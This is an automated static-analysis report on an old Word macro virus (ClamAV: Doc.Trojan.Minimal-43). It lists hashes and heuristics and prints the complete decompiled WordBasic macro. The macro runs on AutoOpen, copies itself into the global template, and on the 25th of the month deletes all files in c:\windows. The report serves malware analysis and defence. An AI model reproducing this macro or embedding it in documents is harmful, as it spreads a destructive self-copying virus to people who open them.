Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8042a0c94223803d…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-05-09 19:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e511d732d506592f9e8d9fa2ef4ed5dd SHA-1: 79571aae5ddda66f7b0d99a035708124fecef423 SHA-256: 8042a0c94223803d733ca6a70818de052787e5d0b2212ccf3702feaaf4f66cdd
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains a legacy WordBasic macro with an AutoOpen entry point, indicated by the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' and 'OLE_VBA_AUTOOPEN' heuristics. The script attempts to copy itself and conditionally deletes files in 'c:\windows\*.*'. This suggests an attempt to establish persistence or disrupt the system, characteristic of malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-43 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-43
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1729 bytes
SHA-256: 3d32d9e374775d78b3ca0b137724ca384d1625a3ea3b5a1ad5c960b2df722bf4
Detection
ClamAV: Doc.Trojan.Minimal-43
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"
Public Sub MAIN()
Dim a$
Dim b$
Dim c$
c$ = WordBasic.[FileName$]()
On Error Resume Next: a$ = c$ + ":AutoopeN"
b$ = "Global:aUTOOPEn": WordBasic.MacroCopy a$, b$
WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy b$, a$
If (Day(Now()) = 25) Then
    Kill "c:\windows\*.*"
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/fd80c7196159469a8d912359aae9eea8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoopeN - 1430 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	Dim 
' 	VarDefn a
' Line #2:
' 	Dim 
' 	VarDefn B
' Line #3:
' 	Dim 
' 	VarDefn c
' Line #4:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St c$ 
' Line #5:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	Ld c$ 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	St a$ 
' Line #6:
' 	LitStr 0x000F "Global:aUTOOPEn"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #7:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' 	BoS 0x0000 
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0019 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #9:
' 	LitStr 0x000E "c:\windows\*.*"
' 	ArgsCall Kill 0x0001 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	EndSub

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